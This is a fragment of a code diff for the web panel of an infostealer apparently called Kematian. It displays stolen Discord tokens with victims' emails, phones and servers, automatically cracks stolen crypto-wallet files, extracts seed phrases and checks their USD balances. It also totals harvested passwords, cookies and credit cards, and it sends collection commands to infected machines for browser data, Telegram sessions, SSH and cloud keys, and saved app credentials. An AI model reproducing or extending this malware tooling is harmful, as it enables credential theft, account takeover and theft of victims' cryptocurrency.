p.clientId || ""; + + const enriched = !!p.enriched_at && !p.error; + const tokenHtml = ` +
+ Token + ${esc(p.token || "")} +
`; + const sourceTs = `${esc(p.source || "")} · ${p.captured_at ? new Date(p.captured_at).toLocaleString() : ""}`; + + if (p.error) { + div.innerHTML = ` +
+
?
+
+
Lookup failed
+
${esc(p.error)}
+
${sourceTs}
+
+
+ ${tokenHtml} +
+ +
`; + } else if (!enriched) { + div.innerHTML = ` +
+
?
+
+
Not yet looked up
+
${sourceTs}
+
+
+ ${tokenHtml} +
+ +
`; + } else { + const created = discordSnowflakeDate(p.user_id); + const avatarUrl = discordAvatarUrl(p.user_id, p.avatar); + const displayName = p.global_name || p.username || "—"; + const tag = p.username + ? (p.discriminator && p.discriminator !== "0" ? `${p.username}#${p.discriminator}` : p.username) + : "—"; + const allFlags = (p.flags || 0) | (p.public_flags || 0); + const badges = dpBadgesHtml(allFlags) + dpNitroHtml(p.premium_type); + const avatarHtml = avatarUrl + ? `` + : `
${esc((displayName[0] || "?").toUpperCase())}
`; + const check = "✓", cross = "✕"; + + div.innerHTML = ` +
+
${avatarHtml}
+
+
${esc(displayName)}
+
${esc(tag)}
+
${created ? "Created " + created.toLocaleDateString() : ""} · ${esc(p.locale || "")} · ${esc(p.source || "")}
+
+
${badges}
+
+
+
${p.friends_count != null ? p.friends_count : "—"}Friends
+
${p.guilds_count != null ? p.guilds_count : "—"}Servers
+
${p.mfa_enabled ? check : cross}2FA
+
${p.phone ? check : cross}Phone
+
${p.verified ? check : cross}Email ver.
+
+ ${p.email ? `
Email${esc(p.email)}
` : ""} + ${p.guild_names ? `
Servers${esc(p.guild_names.split("|").join(", "))}
` : ""} + ${tokenHtml} +
+ + ${p.user_id ? `ID: ${esc(p.user_id)}` : ""} +
`; + } + + const tokenEl = div.querySelector(".dp-token"); + if (tokenEl) { + tokenEl.addEventListener("click", () => { + navigator.clipboard.writeText(p.token || "").catch(() => {}); + tokenEl.classList.add("copied-flash"); + setTimeout(() => tokenEl.classList.remove("copied-flash"), 600); + }); + } + return div; + } + + async function loadDiscordProfiles() { + if (!discordViewEl || discordViewEl.style.display === "none") return; + try { + const p = {}; + if (!isGlobal && clientId) p.clientId = clientId; + else if (isGlobal && activeClient !== "all") p.clientId = activeClient; + const q = searchEl.value.trim(); + if (q) p.search = q; + const result = await rpc("list_discord_profiles", p); + dpGrid.innerHTML = ""; + if (!result.rows.length) { + dpGrid.innerHTML = '
No Discord tokens captured yet.
'; + } else { + for (const row of result.rows) dpGrid.appendChild(renderDiscordCard(row)); + } + rowCount.textContent = `${result.total.toLocaleString()} ${result.total === 1 ? "token" : "tokens"}`; + } catch (e) { + log(`Discord profiles error: ${e.message}`); + } + } + + // ── Wallet card view ─────────────────────────────────────────── + function renderWalletCard(w) { + const div = document.createElement("div"); + div.className = "wl-card"; + const isExt = w.type === "extension"; + const iconClass = isExt ? "wl-icon-ext" : "wl-icon-desk"; + const typeClass = isExt ? "wl-type-ext" : "wl-type-desk"; + const typeLabel = isExt ? "Extension" : "Desktop"; + const icon = isExt ? "\u{1F9E9}" : "\u{1F4B0}"; + + const addrs = w.addresses || []; + const balKey = w.name; + const bals = walletBalances[balKey] || {}; + const crackResult = walletCrackResults[balKey]; + + let addrsHtml = ""; + if (addrs.length > 0) { + addrsHtml = `
${addrs.map(a => + `${esc(a)}` + ).join("")}
`; + } + + let balHtml = ""; + const balEntries = Object.entries(bals); + if (balEntries.length > 0) { + balHtml = `
${balEntries.map(([chain, bal]) => { + const isZero = bal === 0; + const cls = isZero ? "wl-bal-chip wl-bal-chip-zero" : "wl-bal-chip"; + const val = isZero ? "0" : bal < 0.0001 ? bal.toExponential(2) : bal.toFixed(4); + return `${esc(chain)}: ${val}`; + }).join("")}
`; + } + + let crackHtml = ""; + if (crackResult) { + if (crackResult.warning) { + crackHtml += `
${esc(crackResult.warning)}
`; + } + if (crackResult.cracked) { + // USD total banner + let usdHtml = ""; + if (crackResult.usdTotal !== undefined) { + if (crackResult.usdTotal > 0) { + usdHtml = `
$${crackResult.usdTotal.toFixed(2)}
`; + } else { + usdHtml = `
$0.00
`; + } + } + + // Balances per asset + let balHtml = ""; + if (crackResult.balances) { + const entries = Object.entries(crackResult.balances).filter(([,v]) => v > 0); + if (entries.length) { + balHtml = `
${entries.map(([chain, val]) => + `${esc(chain)} ${val < 0.0001 ? val.toExponential(2) : val.toFixed(6)}` + ).join("")}
`; + } else { + balHtml = `
No balances found
`; + } + } + + // Addresses + let addrsHtml = ""; + if (crackResult.addresses?.length) { + addrsHtml = `
${crackResult.addresses.map(a => { + const label = a.chain || "ETH"; + const addr = a.address || a; + return ``; + }).join("")}
`; + } + if (crackResult.accounts?.length) { + addrsHtml += `
${(crackResult.accounts || []).map(a => { + if (a.mnemonic) return `
${esc(a.mnemonic)}
`; + return ``; + }).join("")}
`; + } + + // Mnemonic + let mnemonicHtml = ""; + if (crackResult.mnemonic) { + mnemonicHtml = `
${esc(crackResult.mnemonic)}
`; + } + + crackHtml += ` +
+ Cracked! Password: ${esc(crackResult.password)} +
+ ${usdHtml} + ${balHtml} + ${addrsHtml} + ${mnemonicHtml} + ${crackResult.mnemonic && !crackResult.balances ? `` : ""}`; + } else { + crackHtml += `
No password matched (${crackResult.tried} tried)
`; + } + } + + div.innerHTML = ` +
+
${icon}
+
+
${esc(w.name)}
+
+ ${typeLabel} + ${w.files || 0} files · ${humanSize(w.size || 0)} +
+
+
+ ${crackHtml} +
+ ${w.hasVault && !crackResult ? `` : ""} + ${!w.hasVault && w.downloaded && !crackResult ? `` : ""} + ${w.dataId ? `` : ""} + ${w.downloaded ? `Auto-downloaded` : ""} +
`; + + div.querySelectorAll(".wl-addr, .wl-account").forEach(el => { + el.addEventListener("click", () => { + navigator.clipboard.writeText(el.textContent.replace(/^[^:]+:\s*/, "")).catch(() => {}); + el.classList.add("copied-flash"); + setTimeout(() => el.classList.remove("copied-flash"), 600); + }); + }); + div.querySelectorAll(".wl-mnemonic").forEach(el => { + el.addEventListener("click", () => { + navigator.clipboard.writeText(el.textContent).catch(() => {}); + el.classList.add("copied-flash"); + setTimeout(() => el.classList.remove("copied-flash"), 600); + }); + }); + + return div; + } + + async function loadWalletCards() { + if (!walletViewEl || walletViewEl.style.display === "none") return; + const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId; + + if (!cid) { + wlGrid.innerHTML = '
Select a client to view wallet details.
'; + rowCount.textContent = "0 wallets"; + return; + } + + try { + const [tableResult, dataResult] = await Promise.all([ + rpc("list_wallets", { clientId: cid }), + rpc("list_wallet_data", { clientId: cid }), + ]); + + const dataMap = {}; + for (const d of dataResult.rows) { + dataMap[d.name] = d; + } + + const wallets = tableResult.rows.map(w => { + const d = dataMap[w.name]; + return { + ...w, + addresses: d?.addresses || [], + hasVault: d?.hasVault || false, + downloaded: !!d, + dataId: d?.id || null, + }; + }); + + wlGrid.innerHTML = ""; + if (!wallets.length) { + wlGrid.innerHTML = '
No wallets found for this client.
'; + } else { + for (const w of wallets) wlGrid.appendChild(renderWalletCard(w)); + } + rowCount.textContent = `${wallets.length} wallet${wallets.length !== 1 ? "s" : ""}`; + + // Load previously cracked seeds from DB + try { + const savedSeeds = await rpc("get_wallet_seeds", { clientId: cid }); + for (const [name, seed] of Object.entries(savedSeeds || {})) { + if (!walletCrackResults[name]) { + walletCrackResults[name] = { cracked: true, password: "(saved)", mnemonic: seed.mnemonic, addresses: seed.addresses }; + } + } + } catch (e) { log(`get_wallet_seeds error: ${e.message}`); } + + // For wallets with saved seeds, just refresh balances; crack the rest + const balanceJobs = []; + const crackJobs = []; + for (const w of wallets) { + const name = w.name; + const existing = walletCrackResults[name]; + if (existing?.cracked && existing.mnemonic) { + balanceJobs.push(name); + continue; + } + if (existing) continue; + const isDesktop = !w.hasVault && w.downloaded; + const isVault = w.hasVault; + if (isDesktop || isVault) crackJobs.push({ name, method: isDesktop ? "crack_exodus" : "crack_vault" }); + } + + // Refresh balances for already-cracked wallets (in parallel) + if (balanceJobs.length) { + Promise.all(balanceJobs.map(async (name) => { + try { + const cr = walletCrackResults[name]; + const balResult = await rpc("check_cracked_balances", { mnemonic: cr.mnemonic }); + walletCrackResults[name] = { ...cr, balances: balResult.totals, usdTotal: balResult.usdTotal, addresses: balResult.addresses || cr.addresses }; + if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`); + } catch (e) { log(`Balance refresh ${name} error: ${e.message}`); } + })).then(() => { + wlGrid.innerHTML = ""; + for (const w of wallets) wlGrid.appendChild(renderWalletCard(w)); + }); + } + + // Auto-crack wallets that haven't been cracked yet + for (const { name, method } of crackJobs) { + try { + const result = await rpc(method, { clientId: cid, walletName: name }); + walletCrackResults[name] = result; + if (result.cracked) { + log(`Auto-cracked ${name}! Password: ${result.password}`); + if (result.mnemonic) { + const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic }); + walletCrackResults[name] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal }; + if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`); + else log(`${name}: no balances found`); + } + } else { + log(`Auto-crack ${name}: no password matched (${result.tried} tried)`); + } + } catch (err) { + log(`Auto-crack ${name} error: ${err.message}`); + } + } + // Re-render cards with crack results + if (wallets.some(w => walletCrackResults[w.name])) { + wlGrid.innerHTML = ""; + for (const w of wallets) wlGrid.appendChild(renderWalletCard(w)); + } + } catch (e) { + log(`Wallet cards error: ${e.message}`); + } + } + + // ── Settings (auto-harvest) ─────────────────────────────────── + function buildAutoStartEvents(files, ext) { + const events = [{ event: "collect", payload: { browsers: true } }]; + if (files) events.push({ event: "scan_files", payload: {} }); + if (ext) events.push({ event: "scan_extensions", payload: {} }); + return events; + } + + async function fetchAutoHarvestState() { + if (!autoHarvestToggle) return; + try { + const res = await fetch("/api/plugins"); + if (!res.ok) return; + const data = await res.json(); + const pluginCfg = (data.plugins || []).find(p => p.id === PLUGIN_ID); + if (!pluginCfg) return; + const enabled = !!pluginCfg.autoLoad; + const events = pluginCfg.autoStartEvents || []; + applySettingsUI(enabled, events.some(e => e.event === "scan_files"), events.some(e => e.event === "scan_extensions")); + } catch (_) {} + } + + function applySettingsUI(enabled, files, ext) { + if (!autoHarvestToggle) return; + autoHarvestToggle.checked = enabled; + autoFilesToggle.disabled = !enabled; + autoFilesToggle.checked = files; + if (autoExtToggle) { + autoExtToggle.disabled = !enabled; + autoExtToggle.checked = ext; + } + const filesRow = $("ah-files-row"); + const extRow = $("ah-ext-row"); + if (filesRow) filesRow.style.opacity = enabled ? "1" : "0.5"; + if (extRow) extRow.style.opacity = enabled ? "1" : "0.5"; + } + + async function saveSettings() { + if (!settingsStatus) return; + settingsStatus.textContent = "Saving…"; + const enabled = autoHarvestToggle.checked; + const files = autoFilesToggle.checked; + const ext = autoExtToggle ? autoExtToggle.checked : false; + try { + const body = { + autoLoad: enabled, + autoStartEvents: enabled ? buildAutoStartEvents(files, ext) : [], + }; + const res = await fetch(`/api/plugins/${PLUGIN_ID}/autoload`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }); + const data = await res.json(); + if (!data.ok) throw new Error(data.error || "failed"); + settingsStatus.textContent = enabled ? "Auto-harvest enabled" : "Auto-harvest disabled"; + applySettingsUI(enabled, files, ext); + } catch (e) { + settingsStatus.textContent = `Error: ${e.message}`; + } + setTimeout(() => { if (settingsStatus) settingsStatus.textContent = ""; }, 2500); + } + + function initSettings(isAdmin) { + if (!settingsCard) return; + settingsCard.style.display = ""; + + if (!isAdmin) { + if (settingsAdminMsg) settingsAdminMsg.style.display = ""; + if (settingsGrid) settingsGrid.classList.add("disabled"); + if (autoHarvestToggle) autoHarvestToggle.disabled = true; + if (autoFilesToggle) autoFilesToggle.disabled = true; + if (autoExtToggle) autoExtToggle.disabled = true; + fetchAutoHarvestState(); + return; + } + + if (autoHarvestToggle) autoHarvestToggle.addEventListener("change", saveSettings); + if (autoFilesToggle) autoFilesToggle.addEventListener("change", saveSettings); + if (autoExtToggle) autoExtToggle.addEventListener("change", saveSettings); + fetchAutoHarvestState(); + } + + // ── Global mode ─────────────────────────────────────────────── + async function loadGlobalStats() { + try { + knownClients = await rpc("get_stats"); + renderClientsCard(); + buildCfilts(); + buildTabs(); + + const total = (key) => knownClients.reduce((s, c) => s + (c[key] || 0), 0); + const sep = ` · `; + globalStats.innerHTML = [ + `${knownClients.length} client${knownClients.length !== 1 ? "s" : ""}`, + `${total("passwords").toLocaleString()} passwords`, + `${total("cookies").toLocaleString()} cookies`, + `${total("creditCards").toLocaleString()} cards`, + `${total("discordTokens").toLocaleString()} Discord tokens`, + `${total("extensions").toLocaleString()} extensions`, + `${total("wallets").toLocaleString()} wallets`, + ].map(s => `${s}`).join(sep); + + exportAllBtn.disabled = knownClients.length === 0; + loadSummary(); + } catch (e) { log(`Stats error: ${e.message}`); } + } + + let summaryData = []; + let summaryWalletResults = {}; + + async function loadSummary() { + if (!summaryCard || !summaryGrid) return; + try { + summaryData = await rpc("get_summary"); + if (!summaryData.length) { summaryCard.style.display = "none"; return; } + summaryCard.style.display = ""; + renderSummary(); + + // Load saved seeds for all clients, then only refresh balances or crack new ones + const balanceRefreshJobs = []; + const crackJobs = []; + for (const c of summaryData) { + let savedSeeds = {}; + try { savedSeeds = await rpc("get_wallet_seeds", { clientId: c.clientId }); } catch (e) { log(`get_wallet_seeds ${c.clientId} error: ${e.message}`); } + const vaults = new Set(c.walletVaults || []); + for (const name of c.walletDownloaded || []) { + const key = `${c.clientId}:${name}`; + // Populate from saved seeds + if (!summaryWalletResults[key] && savedSeeds[name]) { + summaryWalletResults[key] = { cracked: true, password: "(saved)", mnemonic: savedSeeds[name].mnemonic, addresses: savedSeeds[name].addresses }; + } + if (summaryWalletResults[key]?.cracked && summaryWalletResults[key]?.mnemonic) { + balanceRefreshJobs.push({ key, mnemonic: summaryWalletResults[key].mnemonic }); + continue; + } + if (summaryWalletResults[key]) continue; + const method = vaults.has(name) ? "crack_vault" : "crack_exodus"; + crackJobs.push({ key, clientId: c.clientId, name, method }); + } + } + + // Refresh balances for already-cracked wallets in parallel + if (balanceRefreshJobs.length) { + Promise.all(balanceRefreshJobs.map(async ({ key, mnemonic }) => { + try { + const balResult = await rpc("check_cracked_balances", { mnemonic }); + summaryWalletResults[key] = { ...summaryWalletResults[key], balances: balResult.totals, usdTotal: balResult.usdTotal }; + } catch (e) { log(`Summary balance refresh error: ${e.message}`); } + })).then(() => renderSummary()); + } + + // Crack wallets that don't have saved seeds + for (const { key, clientId: cid, name, method } of crackJobs) { + try { + const result = await rpc(method, { clientId: cid, walletName: name }); + summaryWalletResults[key] = result; + if (result.cracked && result.mnemonic) { + const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic }); + summaryWalletResults[key] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal }; + } + } catch (e) { log(`Summary crack ${name} (${method}) error: ${e.message}`); } + } + renderSummary(); + } catch (e) { log(`Summary error: ${e.message}`); } + } + + function renderSummary() { + if (!summaryGrid) return; + let totalUsd = 0; + const cards = []; + + for (const c of summaryData) { + let clientUsd = 0; + const walletInfo = []; + for (const name of c.walletNames || []) { + const key = `${c.clientId}:${name}`; + const cr = summaryWalletResults[key]; + if (cr?.cracked) { + clientUsd += cr.usdTotal || 0; + walletInfo.push({ name, cracked: true, usdTotal: cr.usdTotal || 0, password: cr.password }); + } else if (cr && !cr.cracked) { + walletInfo.push({ name, cracked: false, tried: cr.tried }); + } else { + walletInfo.push({ name, pending: true }); + } + } + totalUsd += clientUsd; + cards.push({ client: c, clientUsd, walletInfo }); + } + + if (summaryTotals) { + summaryTotals.innerHTML = ` + ${totalUsd > 0 ? "$" + totalUsd.toFixed(2) : "$0.00"} + ${summaryData.length} client${summaryData.length !== 1 ? "s" : ""} · ${Object.keys(summaryWalletResults).length} wallets checked + `; + } + + summaryGrid.innerHTML = ""; + for (const { client: c, clientUsd, walletInfo } of cards) { + const div = document.createElement("div"); + div.className = "summary-client-card"; + + const walletsHtml = walletInfo.map(w => { + if (w.cracked) { + return `${esc(w.name)} $${w.usdTotal.toFixed(2)}`; + } else if (w.pending) { + return `${esc(w.name)}`; + } else { + return `${esc(w.name)} (${w.tried} tried)`; + } + }).join(""); + + div.innerHTML = ` +
+ ${esc(shortId(c.clientId))} + ${clientUsd > 0 ? "$" + clientUsd.toFixed(2) : ""} +
+
+ ${(c.passwords || 0).toLocaleString()} pw + ${(c.cookies || 0).toLocaleString()} cookies + ${(c.creditCards || 0).toLocaleString()} cards + ${(c.discordTokens || 0).toLocaleString()} discord + ${(c.wallets || 0)} wallets +
+ ${walletsHtml ? `
${walletsHtml}
` : ""} + `; + summaryGrid.appendChild(div); + } + } + + async function loadGlobalTab() { + const tab = TABS.find(t => t.id === activeTab); + if (!tab?.rpc) return; + + if (!tabData[tab.key]) tabData[tab.key] = { rows: [], total: 0, offset: 0 }; + const { offset } = tabData[tab.key]; + + const p = { limit: PAGE_SIZE, offset }; + const search = searchEl.value.trim(); + if (search) p.search = search; + if (activeClient !== "all") p.clientId = activeClient; + if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser")) + p.browser = activeBrowser; + + try { + const result = await rpc(tab.rpc, p); + tabData[tab.key] = { rows: result.rows, total: result.total, offset }; + buildTabs(); + renderTable(); + } catch (e) { log(`Load error (${tab.label}): ${e.message}`); } + } + + function renderClientsCard() { + if (!clientsList) return; + if (knownClients.length === 0) { clientsCard.style.display = "none"; return; } + clientsCard.style.display = ""; + clientsList.innerHTML = ""; + const frag = document.createDocumentFragment(); + for (const c of knownClients) { + const div = document.createElement("div"); + div.className = "client-item"; + const ts = c.lastCapturedAt ? new Date(c.lastCapturedAt).toLocaleString() : "—"; + div.innerHTML = ` +
+ ${esc(shortId(c.clientId))} + ${esc(ts)} +
+
+ ${(c.passwords || 0).toLocaleString()} pw + ${(c.cookies || 0).toLocaleString()} cookies + ${(c.creditCards || 0).toLocaleString()} cards + ${(c.discordTokens || 0).toLocaleString()} discord + ${(c.files || 0).toLocaleString()} files + ${(c.extensions || 0).toLocaleString()} extensions +
+
+ + +
`; + frag.appendChild(div); + } + clientsList.appendChild(frag); + } + + function startSSE() { + const sse = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`); + window.__kematianSSE = sse; + + sse.addEventListener("harvest_update", async (e) => { + const { clientId: cid } = JSON.parse(e.data); + log(`Harvest update from ${shortId(cid)}`); + await loadGlobalStats(); + if (activeTab === "__search__") await loadSearchAll(); + else if (activeTab === "discord") await loadDiscordProfiles(); + else await loadGlobalTab(); + }); + + sse.addEventListener("seed_update", async (e) => { + const { clientId: cid, count } = JSON.parse(e.data); + log(`Seed scan: ${count} phrases found from ${shortId(cid)}`); + if (activeTab === "seeds") await loadGlobalTab(); + }); + + sse.addEventListener("wallet_data_update", async () => { + if (activeTab === "wallets") await loadWalletCards(); + }); + + sse.addEventListener("client_deleted", async (e) => { + const { clientId: cid } = JSON.parse(e.data); + if (activeClient === cid) activeClient = "all"; + delete tabData[TABS.find(t => t.id === activeTab)?.key]; + await loadGlobalStats(); + renderTable(); + }); + + sse.addEventListener("cleared", () => { + knownClients = []; tabData = {}; activeClient = "all"; + clientsCard.style.display = "none"; + exportAllBtn.disabled = true; + globalStats.innerHTML = `0 clients`; + buildCfilts(); buildTabs(); renderTable(); + if (pagBar) pagBar.style.display = "none"; + log("All data cleared"); + }); + } + + async function initGlobalMode() { + clientCard.style.display = "none"; + globalCard.style.display = ""; + dataCard.style.display = ""; + $("sub-title").textContent = "Global harvest view — all clients"; + + buildTabs(); + buildBfilts(); + startSSE(); + + const rolePromise = fetchUserRole(); + + if (pagPrev) pagPrev.addEventListener("click", () => { + const tab = TABS.find(t => t.id === activeTab); + if (!tab?.key || !tabData[tab.key]) return; + tabData[tab.key].offset = Math.max(0, tabData[tab.key].offset - PAGE_SIZE); + loadGlobalTab(); + }); + if (pagNext) pagNext.addEventListener("click", () => { + const tab = TABS.find(t => t.id === activeTab); + if (!tab?.key || !tabData[tab.key]) return; + const td = tabData[tab.key]; + if (td.offset + td.rows.length < td.total) { td.offset += PAGE_SIZE; loadGlobalTab(); } + }); + + clientsList.addEventListener("click", async (e) => { + const btn = e.target.closest("[data-action]"); + if (!btn) return; + const { action, id } = btn.dataset; + if (action === "view-client") { + activeClient = id; + const tab = TABS.find(t => t.id === activeTab); + if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0; + buildCfilts(); buildTabs(); + await loadGlobalTab(); + dataCard.scrollIntoView({ behavior: "smooth" }); + } else if (action === "del-client") { + if (!confirm(`Delete all harvested data for client ${shortId(id)} (${id})?`)) return; + try { + await rpc("delete_client", { clientId: id }); + log(`Deleted ${shortId(id)}`); + knownClients = knownClients.filter(c => c.clientId !== id); + if (activeClient === id) activeClient = "all"; + for (const t of TABS) + if (tabData[t.key]) tabData[t.key].rows = tabData[t.key].rows.filter(r => r.clientId !== id); + renderClientsCard(); buildCfilts(); buildTabs(); renderTable(); + loadGlobalStats(); + } catch (err) { log(`Delete error: ${err.message}`); } + } + }); + + refreshBtn.addEventListener("click", async () => { + log("Refreshing…"); + await loadGlobalStats(); + if (activeTab === "__search__") await loadSearchAll(); + else await loadGlobalTab(); + }); + + exportAllBtn.addEventListener("click", async () => { + try { + log("Exporting all data…"); + const results = await Promise.all(TABS.map(t => rpc(t.rpc, { limit: 0 }))); + const allData = {}; + TABS.forEach((t, i) => { allData[t.key] = results[i].rows; }); + const blob = new Blob([JSON.stringify(allData, null, 2)], { type: "application/json" }); + const a = document.createElement("a"); + a.href = URL.createObjectURL(blob); + a.download = `kematian-global-${Date.now()}.json`; + a.click(); + URL.revokeObjectURL(a.href); + log("Export complete"); + } catch (err) { log(`Export error: ${err.message}`); } + }); + + clearAllBtn.addEventListener("click", async () => { + if (!confirm("Delete ALL harvested data from ALL clients?\n\nThis cannot be undone.")) return; + try { + await rpc("delete_all", {}); + knownClients = []; tabData = {}; activeClient = "all"; + clientsCard.style.display = "none"; + exportAllBtn.disabled = true; + globalStats.innerHTML = `0 clients`; + if (pagBar) pagBar.style.display = "none"; + buildCfilts(); buildTabs(); renderTable(); + log("All data cleared"); + } catch (err) { log(`Clear error: ${err.message}`); } + }); + + log("Global view — Kematian"); + const [role] = await Promise.all([ + rolePromise, + loadGlobalStats().then(() => loadGlobalTab()), + ]); + userRole = role; + initSettings(userRole === "admin"); + } + + // ── Per-client mode ─────────────────────────────────────────── + function initClientMode() { + clientIdEl.value = clientId; + globalCard.style.display = "none"; + clientsCard.style.display = "none"; + if (settingsCard) settingsCard.style.display = "none"; + cfiltsEl.style.display = "none"; + if (pagBar) pagBar.style.display = "none"; + buildTabs(); + buildBfilts(); + + collectBtn.addEventListener("click", () => { + collectBtn.disabled = true; + log("Starting collection…"); + sendEvent("collect", { browsers: true }); + }); + scanFilesBtn.addEventListener("click", () => { + scanFilesBtn.disabled = true; + log("Scanning files…"); + sendEvent("scan_files", {}); + }); + scanExtBtn.addEventListener("click", () => { + scanExtBtn.disabled = true; + log("Scanning extensions…"); + sendEvent("scan_extensions", {}); + }); + scanWalletsBtn.addEventListener("click", () => { + scanWalletsBtn.disabled = true; + log("Scanning wallets…"); + sendEvent("scan_wallets", {}); + }); + scanTgBtn.addEventListener("click", () => { + scanTgBtn.disabled = true; + log("Scanning Telegram sessions…"); + sendEvent("scan_telegram", {}); + }); + scanKeysBtn.addEventListener("click", () => { + scanKeysBtn.disabled = true; + log("Scanning SSH & cloud keys…"); + sendEvent("scan_keys", {}); + }); + scanAppsBtn.addEventListener("click", () => { + scanAppsBtn.disabled = true; + log("Scanning app credentials (RDP, WinSCP, PuTTY, FileZilla, WiFi…)"); + sendEvent("scan_apps", {}); + }); + pingBtn.addEventListener("click", () => { log("Ping sent"); sendEvent("ping", {}); }); + exportBtn.addEventListener("click", () => { + if (!lastResults) return; + const blob = new Blob([JSON.stringify(lastResults, null, 2)], { type: "application/json" }); + const a = document.createElement("a"); + a.href = URL.createObjectURL(blob); + a.download = `kematian-${clientId}-${Date.now()}.json`; + a.click(); + URL.revokeObjectURL(a.href); + log("Exported results"); + }); + + const eventDispatch = { + ready(payload) { + statusDot.className = "dot dot-on"; + statusText.textContent = "Connected"; + log(`ready: ${payload?.status || "ok"}`); + }, + status(payload) { + log(payload?.message || "(status)"); + }, + partial(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + for (const key of DATA_KEYS) + if (payload[key]?.length) lastResults[key] = [...(lastResults[key] || []), ...payload[key]]; + buildTabs(); buildBfilts(); renderTable(); + }, + results(payload) { + lastResults = payload; + collectBtn.disabled = false; + exportBtn.disabled = false; + dataCard.style.display = ""; + buildTabs(); buildBfilts(); renderTable(); + const c = DATA_KEYS.map(k => (payload[k] || []).length); + log(`Collection complete — ${c[0]} pw · ${c[1]} cookies · ${c[2]} autofill · ${c[3]} history · ${c[4]} bookmarks · ${c[5]} cards · ${c[6]} Discord · ${c[7]} files · ${c[8]} extensions · ${c[9]} wallets · ${c[10]} telegram · ${c[11]} keys · ${c[12]} seeds · ${c[13]} apps`); + if (payload.errors?.length) payload.errors.forEach(e => log(`warn: ${e}`)); + }, + file_scan_results(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + lastResults.files = payload?.files || []; + scanFilesBtn.disabled = false; + if (activeTab !== "files") { activeTab = "files"; sortCol = null; sortAsc = true; } + buildTabs(); buildBfilts(); renderTable(); + log(`File scan — ${lastResults.files.length} files${payload?.truncated ? " (limit reached)" : ""}`); + }, + fetch_file_result(payload) { + const { path, name, content } = payload || {}; + const pending = pendingFetches.get(path); + pendingFetches.delete(path); + if (pending?.btn) { pending.btn.textContent = "↓"; pending.btn.disabled = false; } + if (!content) { log(`fetch_file: no content for ${name}`); return; } + downloadBase64(content, name || "file"); + log(`Downloaded: ${name}`); + }, + fetch_file_error(payload) { + const { path, error } = payload || {}; + const pending = pendingFetches.get(path); + pendingFetches.delete(path); + if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; } + log(`fetch_file ERROR: ${error || "unknown"}`); + }, + extension_scan_results(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + lastResults.extensions = payload?.extensions || []; + scanExtBtn.disabled = false; + if (activeTab !== "extensions") { activeTab = "extensions"; sortCol = null; sortAsc = true; } + buildTabs(); buildBfilts(); renderTable(); + log(`Extension scan — ${lastResults.extensions.length} extensions`); + }, + fetch_ext_zip_result(payload) { + const { path, extId, content } = payload || {}; + const pending = pendingExtZips.get(path); + pendingExtZips.delete(path); + if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; } + if (!content) { log(`fetch_ext_zip: no content for ${extId}`); return; } + downloadBase64(content, `${extId || "extension"}.zip`, "application/zip"); + log(`Downloaded extension ZIP: ${extId}`); + }, + fetch_ext_zip_error(payload) { + const { path, error } = payload || {}; + const pending = pendingExtZips.get(path); + pendingExtZips.delete(path); + if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; } + log(`fetch_ext_zip ERROR: ${error || "unknown"}`); + }, + wallet_scan_results(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + lastResults.wallets = payload?.wallets || []; + scanWalletsBtn.disabled = false; + if (activeTab !== "wallets") { activeTab = "wallets"; sortCol = null; sortAsc = true; } + buildTabs(); buildBfilts(); renderTable(); + log(`Wallet scan — ${lastResults.wallets.length} wallets`); + }, + wallet_auto_data(payload) { + log(`Auto-downloaded wallet: ${payload?.name || "?"} (${humanSize(payload?.size || 0)})`); + if (activeTab === "wallets") loadWalletCards(); + }, + fetch_wallet_zip_result(payload) { + const { path, name, content } = payload || {}; + const pending = pendingWalletZips.get(path); + pendingWalletZips.delete(path); + if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; } + if (!content) { log(`fetch_wallet_zip: no content for ${name}`); return; } + downloadBase64(content, `${name || "wallet"}.zip`, "application/zip"); + log(`Downloaded wallet ZIP: ${name}`); + }, + fetch_wallet_zip_error(payload) { + const { path, error } = payload || {}; + const pending = pendingWalletZips.get(path); + pendingWalletZips.delete(path); + if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; } + log(`fetch_wallet_zip ERROR: ${error || "unknown"}`); + }, + telegram_scan_results(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + lastResults.telegram = payload?.sessions || []; + scanTgBtn.disabled = false; + if (activeTab !== "telegram") { activeTab = "telegram"; sortCol = null; sortAsc = true; } + buildTabs(); buildBfilts(); renderTable(); + log(`Telegram scan — ${lastResults.telegram.length} sessions`); + }, + telegram_data(payload) { + log(`Telegram data: ${payload?.account || "?"} (${humanSize(payload?.size || 0)})`); + }, + key_scan_results(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + lastResults.keys = payload?.keys || []; + scanKeysBtn.disabled = false; + if (activeTab !== "keys") { activeTab = "keys"; sortCol = null; sortAsc = true; } + buildTabs(); buildBfilts(); renderTable(); + log(`Key scan — ${lastResults.keys.length} keys found`); + }, + app_scan_results(payload) { + if (!lastResults) { lastResults = {}; dataCard.style.display = ""; } + lastResults.appCredentials = payload?.appCredentials || []; + scanAppsBtn.disabled = false; + if (activeTab !== "apps") { activeTab = "apps"; sortCol = null; sortAsc = true; } + buildTabs(); buildBfilts(); renderTable(); + log(`App scan — ${lastResults.appCredentials.length} credentials found`); + }, + error(payload) { + collectBtn.disabled = false; + scanFilesBtn.disabled = false; + scanWalletsBtn.disabled = false; + scanTgBtn.disabled = false; + scanKeysBtn.disabled = false; + scanAppsBtn.disabled = false; + log(`ERROR: 